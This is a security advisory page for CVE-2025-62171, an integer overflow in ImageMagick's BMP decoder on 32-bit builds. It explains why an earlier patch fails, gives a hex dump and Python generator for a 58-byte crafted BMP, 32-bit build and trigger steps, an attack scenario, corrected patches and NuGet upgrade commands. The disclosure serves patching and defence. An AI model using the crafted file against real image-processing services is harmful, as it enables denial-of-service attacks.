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CVE-2025-62171

MEDIUM

ImageMagick has Integer Overflow in BMP Decoder (ReadBMP)

Published October 28, 2025Updated November 3, 2025Source: osv

Summary

## Summary CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but **the fix is incomplete and ineffective**. The latest version **7.1.2-5 remains vulnerable** to the same integer overflow attack. The patch added `BMPOverflowCheck()` but placed it **after** the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS. **Affected Versions:** - ImageMagick < 7.1.2-2 (originally reported) - **ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)** **Platform and Configuration Requirements:** - 32-bit systems ONLY (i386, i686, armv7l, etc.) - Requires `size_t = 4 bytes`. (64-bit systems are **NOT vulnerable** (size_t = 8 bytes)) - Requires modified resource limits: The default `width`, `height`, and `area` limits must have been manually increased (Systems using default ImageMagick resource limits are **NOT vulnerable**). --- ## Details(Root Cause Analysis) ### Vulnerable Code Location **File:** `coders/bmp.c` **Lines:** 1120-1122 (in version 7.1.2-5) ### The Incomplete Patch ```c // Line 1120: Integer overflow happens HERE extent = image->columns * bmp_info.bits_per_pixel; // OVERFLOW! // Line 1121: Uses already-overflowed value bytes_per_line = 4*((extent+31)/32); // Line 1122: Checks the RESULT, not the multiplication if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse) ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile"); ``` ### Why the Patch Fails **Attack Vector (32-bit system):** ``` Input BMP Header: Width: 536,870,912 (0x20000000) Height: 1 Bits Per Pixel: 32 Calculation on 32-bit system: extent = 536,870,912 × 32 = 17,179,869,184 (0x400000000) 32-bit truncation: 0x400000000 & 0xFFFFFFFF = 0x00000000 ← Overflow to ZERO! bytes_per_line = 4 × ((0 + 31) / 32) = 4 × 0 = 0 BMPOverflowCheck(0, 1): return (1 != 0) && (0 > 4294967295UL/1) return True && (0 > 4294967295) return True && False return False ← Does NOT detect overflow! ``` **The check fails because:** 1. The overflow happens at Line 1120 (extent calculation) 2. `extent` becomes 0 due to 32-bit truncation 3. `bytes_per_line` is calculated as 0 (Line 1121) 4. `BMPOverflowCheck(0, 1)` returns **False** (no overflow detected) 5. Code proceeds with corrupted values → ASan crash --- ## PoC(Proof of Concept) ### Minimal 58-byte BMP File **Hex dump:** ``` 00000000 42 4d 3a 00 00 00 00 00 00 00 36 00 00 00 28 00 |BM:.......6...(.| 00000010 00 00 00 00 00 20 01 00 00 00 01 00 20 00 00 00 |..... ...... ...| 00000020 00 00 00 00 00 00 13 0b 00 00 13 0b 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 |..........| ``` **Key Fields:** - Offset 0x12: Width = `00 00 00 20` = 0x20000000 (536,870,912) - Offset 0x16: Height = `01 00 00 00` = 1 - Offset 0x1C: BPP = `20 00` = 32 ### Python Generator ```python #!/usr/bin/env python3 import struct width = 0x20000000 # 536,870,912 height = 1 bpp = 32 # BMP File Header (14 bytes) file_header = b'BM' file_header += struct.pack('<I', 58) # File size file_header += struct.pack('<HH', 0, 0) # Reserved file_header += struct.pack('<I', 54) # Pixel offset # DIB Header (40 bytes) dib_header = struct.pack('<I', 40) # Header size dib_header += struct.pack('<i', width) # Width dib_header += struct.pack('<i', height) # Height dib_header += struct.pack('<H', 1) # Planes dib_header += struct.pack('<H', bpp) # BPP dib_header += struct.pack('<I', 0) # Compression dib_header += struct.pack('<I', 0) # Image size dib_header += struct.pack('<i', 2835) # X ppm dib_header += struct.pack('<i', 2835) # Y ppm dib_header += struct.pack('<I', 0) # Colors dib_header += struct.pack('<I', 0) # Important colors pixel_data = b'\x00\x00\x00\x00' with open('overflow.bmp', 'wb') as f: f.write(file_header + dib_header + pixel_data) print(f"Created overflow.bmp (58 bytes)") ``` --- ## Reproduction Steps ### Environment Setup ```bash # Use 32-bit Docker container docker run -it --name test-32bit i386/ubuntu:latest bash # Install dependencies apt-get update apt-get install -y clang build-essential wget tar \ libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \ zlib1g-dev liblzma-dev libbz2-dev # Download ImageMagick 7.1.2-5 cd /tmp wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz tar xzf 7.1.2-5.tar.gz cd ImageMagick-7.1.2-5 ``` ### Build with AddressSanitizer (32-bit IMPORTANT!) ```bash # Configure for 32-bit build (CRITICAL - must be 32-bit!) ./configure \ --host=i686-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \ --without-x \ --without-perl \ --without-magick-plus-plus \ --without-lqr \ --without-zstd \ --without-tiff \ --with-quantum-depth=8 \ --disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined" make -j$(nproc) ### Trigger the Vulnerability ```bash # Set environment to bypass cache.c limits export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1" export MAGICK_WIDTH_LIMIT=2000000000 export MAGICK_HEIGHT_LIMIT=2000000000 export MAGICK_AREA_LIMIT=10000000000 # Test with malicious BMP (use Python script above to create it) ./utilities/magick identify overflow.bmp ``` --- ## AddressSanitizer Output ``` ==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37 "((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0) ================================================================= ==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80 "((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0) ==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488) False positive error reports may follow For details see https://github.com/google/sanitizers/issues/189 ``` It operates in the following environments. ``` export MAGICK_WIDTH_LIMIT=2000000000 export MAGICK_HEIGHT_LIMIT=2000000000 export MAGICK_AREA_LIMIT=10000000000 ``` ## Impact ### Attack Scenario 1. Attacker creates a 58-byte malicious BMP file 2. Uploads to web service that uses ImageMagick (on 32-bit system) 3. ImageMagick attempts to process the image 4. Integer overflow triggers AddressSanitizer crash 5. Service becomes unavailable (Denial of Service) **Real-world targets:** - Web hosting platforms with image processing - CDN services with thumbnail generation - Legacy embedded systems - IoT devices running 32-bit Linux - Docker containers using 32-bit base images --- ## Recommended Fix ### Correct Patch The overflow check must happen **before** the multiplication: ```c // Add overflow check BEFORE calculating extent if (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse) ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions"); // Now safe to calculate extent = image->columns * bmp_info.bits_per_pixel; bytes_per_line = 4*((extent+31)/32); // Additional safety check if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse) ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile"); ``` ### Alternative: Use 64-bit Arithmetic ```c // Force 64-bit calculation uint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel; if (extent_64 > UINT32_MAX) ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge"); extent = (size_t)extent_64; bytes_per_line = 4*((extent+31)/32); ``` ### Credits wooseokdotkim wooseokdotkim@gmail.com

Remediation

Upgrade to the fixed version using your package manager.

NuGet
Update Magick.NET-Q16-AnyCPU to 14.9.0 or later
dotnet add package Magick.NET-Q16-AnyCPU --version 14.9.0
NuGet
Update Magick.NET-Q16-HDRI-x86 to 14.9.0 or later
dotnet add package Magick.NET-Q16-HDRI-x86 --version 14.9.0
NuGet
Update Magick.NET-Q8-AnyCPU to 14.9.0 or later
dotnet add package Magick.NET-Q8-AnyCPU --version 14.9.0
NuGet
Update Magick.NET-Q16-x86 to 14.9.0 or later
dotnet add package Magick.NET-Q16-x86 --version 14.9.0
NuGet
Update Magick.NET-Q8-x86 to 14.9.0 or later
dotnet add package Magick.NET-Q8-x86 --version 14.9.0
NuGet
Update Magick.NET-Q16-HDRI-AnyCPU to 14.9.0 or later
dotnet add package Magick.NET-Q16-HDRI-AnyCPU --version 14.9.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (6)

PackageEcosystemAffectedFixed In
Magick.NET-Q16-AnyCPU
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+200 more)14.9.0
Magick.NET-Q16-HDRI-x86
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+197 more)14.9.0
Magick.NET-Q8-AnyCPU
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+200 more)14.9.0
Magick.NET-Q16-x86
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+216 more)14.9.0
Magick.NET-Q8-x86
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+216 more)14.9.0
Magick.NET-Q16-HDRI-AnyCPU
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+197 more)14.9.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 4.4 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H

Frequently Asked Questions

What is CVE-2025-62171?
ImageMagick has Integer Overflow in BMP Decoder (ReadBMP) This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 4.4/10).
How do I check if my project is affected by CVE-2025-62171?
CVE-2025-62171 affects Magick.NET-Q16-AnyCPU, Magick.NET-Q16-HDRI-x86 and Magick.NET-Q8-AnyCPU (and 3 more). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-62171 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
4.4

Exploitation requires specific conditions or has limited impact. Remediate within weeks.

Also Known As

GHSA-9pp9-cfwx-54rm

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